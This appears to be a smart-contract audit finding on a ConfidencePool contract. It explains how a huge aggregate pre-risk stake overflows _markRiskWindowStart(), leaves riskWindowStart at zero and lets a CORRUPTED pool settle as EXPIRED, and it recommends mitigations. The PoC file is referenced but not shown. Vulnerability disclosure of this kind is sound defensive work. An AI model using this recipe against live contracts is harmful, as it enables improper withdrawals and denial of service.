Root + Impact

Description

When a caller invokes an observation path during an active-risk state, the pool is expected to successfully record riskWindowStart. This matters because riskWindowStart controls later settlement behavior. Once active risk is observed, the pool should not behave as if no risk window existed.

The attacker is a malicious oversized pre-risk staker, potentially split across many attacker-controlled addresses.

ConfidencePool accepts arbitrarily large aggregate stake before risk starts, but later recomputes squared-time accounting in _markRiskWindowStart() using checked uint256 arithmetic.

There is a real range where pre-risk staking succeeds, but the first later attempt to observe UNDER_ATTACK reverts with an arithmetic panic. Because the observation reverts, riskWindowStart remains zero.

That creates a dangerous settlement mismatch. Even after the registry later becomes CORRUPTED, the pool can still go through the EXPIRED branch in claimExpired() because the contract never successfully recorded the active-risk window.

The documented riskWindowStart == 0 corrupted-to-EXPIRED fallback only covers cases where no active-risk observation was successfully made. Here, observation is attempted through intended entrypoints, but accepted pool state makes those entrypoints revert. The branch flip is caused by in-scope arithmetic failure, not by the accepted lazy-observation design.

Risk

Likelihood:

• This occurs when the pool has accepted an extremely large aggregate stake before active risk begins, and a later caller attempts to observe UNDER_ATTACK.

• The required aggregate amount is very large, but the contract imposes no per-user or aggregate stake cap, and the vulnerable amount can be split across many attacker-controlled addresses.

Impact:

• The primary impact is incorrect settlement: a pool whose agreement actually becomes CORRUPTED can instead resolve as EXPIRED, allowing stakers to recover principal that should not be withdrawable through the expired path.

• A secondary impact is operational DoS on active-risk observation entrypoints such as pokeRiskWindow(), stake(), and contributeBonus() because each path attempts the same overflowing observation before processing.

Proof of Concept

Add this test file:

test/poc/ObservationOverflowPoC.t.sol

Run:

Verified result:

• The huge aggregate stake is accepted before risk starts.

• Later pokeRiskWindow() reverts with an arithmetic panic during UNDER_ATTACK.

• riskWindowStart remains zero.

• After the registry becomes CORRUPTED, claimExpired() resolves the pool as EXPIRED.

• The honest staker recovers principal from a corrupted pool.

• The same poisoned condition can be built across 64 attacker-controlled addresses.

• Active-risk stake() and contributeBonus() also revert before processing because they attempt the same overflowing observation.

Recommended Mitigation

Enforce an aggregate stake cap derived from the maximum valid observation timestamp, such as expiry, so _markRiskWindowStart() and later claim arithmetic remain safe for every accepted pool state.

The cap must be enforced against aggregate stake, not only per-user stake, because the overflow can be reached through many attacker-controlled addresses.

If the protocol does not want a hard stake cap, then _markRiskWindowStart() must be rewritten so that totalEligibleStake * t * t cannot overflow for any accepted stake and any valid future observation timestamp up to expiry.